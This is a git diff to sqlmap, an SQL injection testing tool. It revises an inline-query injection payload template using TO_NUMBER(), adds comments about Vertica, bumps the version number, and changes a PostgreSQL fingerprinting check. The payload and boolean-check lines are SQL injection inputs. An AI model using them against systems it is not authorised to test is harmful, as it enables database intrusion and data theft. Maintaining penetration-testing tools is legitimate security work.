diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml
index b49d53834..4d09edb5d 100644
--- a/data/xml/payloads/inline_query.xml
+++ b/data/xml/payloads/inline_query.xml
@@ -74,7 +74,8 @@
         <where>3</where>
         <vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
         <request>
-            <payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
+            <!-- NOTE: Vertica works too without the TO_NUMBER() -->
+            <payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
diff --git a/lib/core/settings.py b/lib/core/settings.py
index e4d2fe0d8..214cba3bc 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4.1.31"
+VERSION = "1.4.1.32"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py
index 853d50881..a2dec6fc5 100644
--- a/plugins/dbms/postgresql/fingerprint.py
+++ b/plugins/dbms/postgresql/fingerprint.py
@@ -75,7 +75,8 @@ class Fingerprint(GenericFingerprint):
         infoMsg = "testing %s" % DBMS.PGSQL
         logger.info(infoMsg)
 
-        result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL")
+        # NOTE: Vertica works too without the CONVERT_TO()
+        result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL")
 
         if result:
             infoMsg = "confirming %s" % DBMS.PGSQL